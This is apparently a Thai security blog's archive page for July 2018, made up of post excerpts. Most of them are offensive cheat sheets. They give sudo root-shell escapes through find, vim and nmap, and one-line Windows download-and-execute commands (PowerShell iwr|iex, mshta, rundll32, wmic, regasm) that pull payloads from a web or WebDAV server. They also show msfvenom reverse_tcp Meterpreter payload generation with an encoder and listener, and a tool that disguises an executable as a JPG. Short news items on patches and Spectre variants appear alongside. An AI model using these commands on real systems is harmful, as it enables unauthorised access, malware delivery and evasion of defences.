Posts by month
July 2018
พอดีผมไปเจอ blog สำหรับการให้ได้มา shell ที่เป็นสิทธิ์ root ผ่าน command ต่างๆกัน โดยสามารถทำได้ผ่านสารพัดคำสั่งดังนี้ (อธิบายเรื่อง su และ sudo)
1. Find command
2. vim command
3. Nmap command
4. Man command…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/usr/bin/find /bin/echo /usr/bin/nmap /usr/bin/vim /usr/bin/nano /usr/bin/man /usr/bin/awk /usr/bin/less /usr/bin/ftp /usr/sbin/apache2 /usr/bin/wget /usr/sbin/tcpdump /usr/bin/strace /bin/mount |
1 2 |
sudo find /etc/passwd -exec /bin/sh \; sudo find /bin -name nano -exec /bin/sh \; |
1 |
sudo vim -c '!sh' |
1 2 3 4 5 6 |
# Old version sudo nmap --interactive nmap> !sh sh-4.1# # New version echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse |
โพสต์นี้ไม่มีอะไรมาก เพียงแต่ไปเจอ list command สำหรับการ download & execute ไฟล์ใน Windows แบบเป็น oneline คือ 1 บรรทัดแล้วจบเลย ก็เลยจะเอามาโน็ตไว้เผื่อจะใช้ในอนาคตครับ Powershell
Cmd
Cscript
Mshta
Rundll32
WMIC
Regasm/Regsvc
…
1 2 3 4 |
//ผ่านเว็บปกติ powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" // ผ่าน webdav powershell -exec bypass -f \\webdavserver\folder\payload.ps1 |
1 |
cmd.exe /k < \\webdavserver\folder\batchfile.txt |
1 |
cscript //E:jscript \\webdavserver\folder\payload.txt |
1 2 3 |
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta http://webserver/payload.hta mshta \\webdavserver\folder\payload.hta |
1 2 |
rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); |
1 |
wmic os get /format:"https://webserver/payload.xsl" |
1 |
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll |
พอดีช่วงอาทิตย์ที่ผ่านมา admin ได้ลองเล่นเครื่องมือสำหรับการแฮ็คหลายๆตัวแล้วพบเจอปัญหาเยอะมาก ก็เลยกะจะทำ note ไว้หน่อย เผื่อเอากลับมาเล่นอีกจะได้ไม่ต้องมานั่งหาวิธีแก้อีก 1. Wifi Pineapple [สำหรับการโจมตีทาง Wireless] เจอปัญหาว่าถ้าใช้ script ตามที่ VDO Setup บอกแล้วมันไม่เวิร์ค ให้ SSH เข้าไปใน Wifi Pineapple แล้วเข้าไปแก้ไข /etc/resolv.conf ให้ nameserver เป็น 8.8.8.8 แล้วก็ที่เครื่องที่เป็น…
พบ bug ที่จะทำให้ messenger ใน iOS เกิด crash หากมีการ set region ของเครื่องเป็นประเทศจีน แล้วรับ emoji ที่เป็น Taiwan flag โดย bug นี้พบโดย Patrick Wardle, โดยพบจากการที่เพื่อนของเค้าพิมพ์คำว่า “Taiwan” หรือรับ message ที่มีธงประเทศไต้หวัน() ทำให้เค้าตัดสินใจทำการ debug เพื่อหาต้นเหตุแล้วก็พบว่า function บาง…
VDO งาน SteelCon 2018 มาแล้วครับ มี VDO น่าดูมากมายเลยครับ หากใครอยากได้รายละเอียดทั้งการ simulate Ransomware หรือขั้นตอนการทำงานของ ransomware แนะนำให้ดู VDO นี้ครับ
Microsoft ออก patch Tuesday ประจำเดือน กรกฎาคม 2018 ซึ่งมีการปล่อย update ที่ใหญ่มากมีทั้ง
นอกเหนือจากนั้น Windows 10 ก็ออก update version ใหม่ออกมา Windows 10 Version 1803 Updates (April 2018 Update) Windows 10 Fall Creators…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Internet Explorer Microsoft Edge Microsoft Windows Microsoft Office and Microsoft Office Services and Web Apps ChakraCore Adobe Flash Player .NET Framework ASP.NET Microsoft Research JavaScript Cryptography Library Skype for Business and Microsoft Lync Visual Studio Microsoft Wireless Display Adapter V2 Software PowerShell Editor Services PowerShell Extension for Visual Studio Code Web Customizations for Active Directory Federation Services |
Security Researcher 2 คนพบช่องโหว่ที่คล้ายๆกับ Spectre ใน Intel CPU ซึ่งตั้งชื่อว่า Spectre 1.1 และ Spectre 1.2 หลังจาก Intel พบช่องโหว่ Spectre และ Meltdown ปัญหาระดับโลกที่ทำให้ป่วนไปทั่วโลกเมื่อหลายเดือนก่อนล่าสุดเจอ Spectre 1.1 และ Spectre 1.2 อธิบายสั้นๆคือ Spectre 1.1 โจมตีโดยใช้ speculative…
ก่อนหน้านี้เราพูดถึง Java และ Php Serialization มาแล้ว คราวนี้มาพูดถึง Python Serialization กันบ้าง *** หากใครงสัยว่า serialization เป็นยังไง กลับไปอ่านที่ Php serializaion แทนละกันครับ มาดูพฤติกรรมปกติกันก่อน ในที่นี้เราจะใช้ pickle ในการทำ serialization object กัน
ตัว app จะทำการสร้าง serialization จาก my_data…
1 2 3 4 5 6 7 8 |
import pickle import datetime my_data = {} my_data['last-modified'] = str(datetime.datetime.now()) my_data['friends'] = ["alice", "bob"] pickle_data = pickle.dumps(my_data) with open("backup.data", "wb") as file: file.write(pickle_data) |
เนื่องด้วยช่วงนี้ผมสร้าง payload ด้วย metasploit บ่อยในหลายๆสกุล ก็เลยขอโพสต์รวม payload ทั้งหมดที่สร้างด้วย Msfvenom เลยละกันครับ 1. ดู help ของ msfvenom
2. การสร้าง listener
3. payload generate ต่างๆ Windows
Windows – add user…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] <var=val> Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --smallest Generate the smallest possible payload using all available encoders -a, --arch <arch> The architecture to use for --payload and --encoders --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message |
1 2 3 4 5 |
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set lport 443 msf > set lhost 10.211.55.50 msf > exploit -j |
1 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.50 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe |
FakeImageExploiter เป็น application ที่ใช้สำหรับการสร้าง exe ขึ้นมาเพื่อทำการ download jpg และ ps1 (powershell),exe,bat,txt โดยไฟล์ exe ที่ถูกสร้างขึ้นมาจะมีชื่อประมาณว่า app.jpg.exe หาก client ไม่ได้ทำการ setting ให้แสดง extension ก็จะเห็นว่าเป็นไฟล์ jpg เฉยๆครับ วิธีการ setup FakeImageExploiter 1. ทำการ download source…
Recent Comments